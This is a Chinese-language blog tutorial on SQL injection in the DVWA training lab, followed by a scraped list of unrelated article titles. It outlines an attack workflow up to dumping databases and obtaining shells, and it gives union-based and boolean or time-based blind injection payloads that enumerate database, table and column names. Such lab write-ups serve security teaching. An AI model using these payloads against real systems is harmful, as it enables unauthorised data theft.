sql注入:    (基于DVWA环境的sql注入)

流程:
    1、判断是否有SQL注入漏洞
    2、判断操作系统、数据库和web应用的类型
    3、获取数据库信息看,包括管理员信息(拖库)
    4、加密信息破解(sqlmap支持自动破解)
    5、提示权限,获得sql-shell,os-shell、web-shell...

low级别下的PHP源码:

由源码可以分析出 图中所圈指的为sql执行语句,而$id并没有对输入的字符做严格的限制(检查)所以我们直接输入sql注入语句:

上图为 用户提交信息的界面,一旦输入了注入语句,则会直接回显所有数据内容。

注入语句执行后相当于执行如下的SQL命令:    

以上为 基于 布尔 的注入方式;

简单总结

---------------------

上图为基于 union 的sql注入方式;等同于执行如下的sql命令:

注入语句:        union ....【组合语句函数】
例如: union select [待查看的信息或mysql函数]
union select version(),user()
sql执行内容 select first_name, last_name from where user_id=' 'union select version(),user() -- ' '; ;
解析: 1、语句的单引号的作用依旧是闭合前者的条件
2、union 组合语句函数,select 查看内容函数 version(),user() 查看版本和当前用户名
3、ps:由于sql语句只是执行显示两列内容,则组合语句内容仅且必须为两个条件

简单总结

----------------------

以上为基于 union 的注入 查看所有的数据库名;等同于下条语句。

查询数据库中所有表:
    information_schema 数据库是mysql自带的,它提供了访问数据库元数据的方式;
        元数据包括:数据库名,表名,列数据类型,访问权限,字符集等基础元素。
    例: select * from information_schema.tables\G

--------------------

union语句用于联合前面的语句,合并查询更多的信息:

  一般通过错误和布尔注入确认注入点(猜),便开始通过union语句结合mysql函数来获得更多信息;

  一般需要才数据列数:

    * ' union select 1  -- '

    * ' union select 1,2  -- '

    * ' union select 1,2,3 -- '

        ....

总结:前面做闭合,后面做注释,将自己的注入语句变成"唯一可有效回显"的执行语句;

盲注:
    一般的sql注入在我们输入sql语句的时候都会返回我们执行sql语句的结果,
    比如我们插入database(),执行结果就会是列举出当前所在的数据库名称dvwa;
    而盲注就好像是在做判断题,我们执行的结果不会显示出来,只会告诉你“对”或者“不对”,不会出现回显现象。
    回显:就是显示正在执行的批处理命令及执行的结果等。
    
    猜测长度:1’ and length(database())>1 #  或>1(依次递增1,2,3…)4
    猜测库名:1’ and ascii(substr(database(),1,1))>97 # (对应ASCII码) dvwa
            <、>号可以迅速确定大概范围
    猜测表名:
        1、猜测表的数量:1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#
        2、猜测表长度:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #
        获取表名:1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
    猜测字段的长度:
        1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 #
    猜解字段:
        1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>120 #

基于时间的盲注    
    判断数据库长度:1’ and if(length(database())=4,sleep(3),1) #
    猜测数据库名称:1’ and if(ascii(substr(database(),1,1))>97,sleep(3),1)#
    猜测表的数量:1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)#
    猜测表名的长度:1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) #
    下面就都可以结合二分法来进行操作…


。。。。

最新文章

  1. ASP.NET MVC 让@Html.DropDownList显示默认值
  2. PostgreSQL 9.3发布
  3. 在C#中,Json的序列化和反序列化的几种方式总结
  4. varnish 隐藏版本号
  5. JavaWeb技术(二):DAO设计模式
  6. 如何用sql批量删除一个id段内的dedecms文章?
  7. codeforces 474D.Flowers 解题报告
  8. linux awk命令
  9. Maven中settings.xml的配置项说明
  10. 最大流Dinic
  11. save与 merge与 saveOrUpdate的区别
  12. Google Play和基于Feature的过滤
  13. DataGridView大扩展——显示行号
  14. 【HTML5】Canvas
  15. LightOJ1245 Harmonic Number (II)
  16. JMeter 测试 ActiveMq
  17. GEC6818连接Ubuntu,下载程序至开发板
  18. IIS 错误:处理程序“PageHandlerFactory-Integrated”在其模块列表中有一个错误模块“ManagedPipelineHandler”
  19. IDEA——错误: 找不到或无法加载主类 com.Main
  20. Java基本数据类型与包装类、字符串之间的转换

热门文章

  1. javascript总结8:JavaScript 类型转换
  2. 编译boost,去掉不使用的组件
  3. SharePoint配置网站集的审核设置
  4. MongoDB整理笔记の安全访问
  5. MongoDB整理笔记のGridFS
  6. 装饰(Decorator)模式
  7. NET上传大文件出现网页无法显示的问题 默认的上传文件大小是4M
  8. c# Include 与 用户控件
  9. C#帮助类:MD5加密
  10. 《C#多线程编程实战》2.10 SpinWait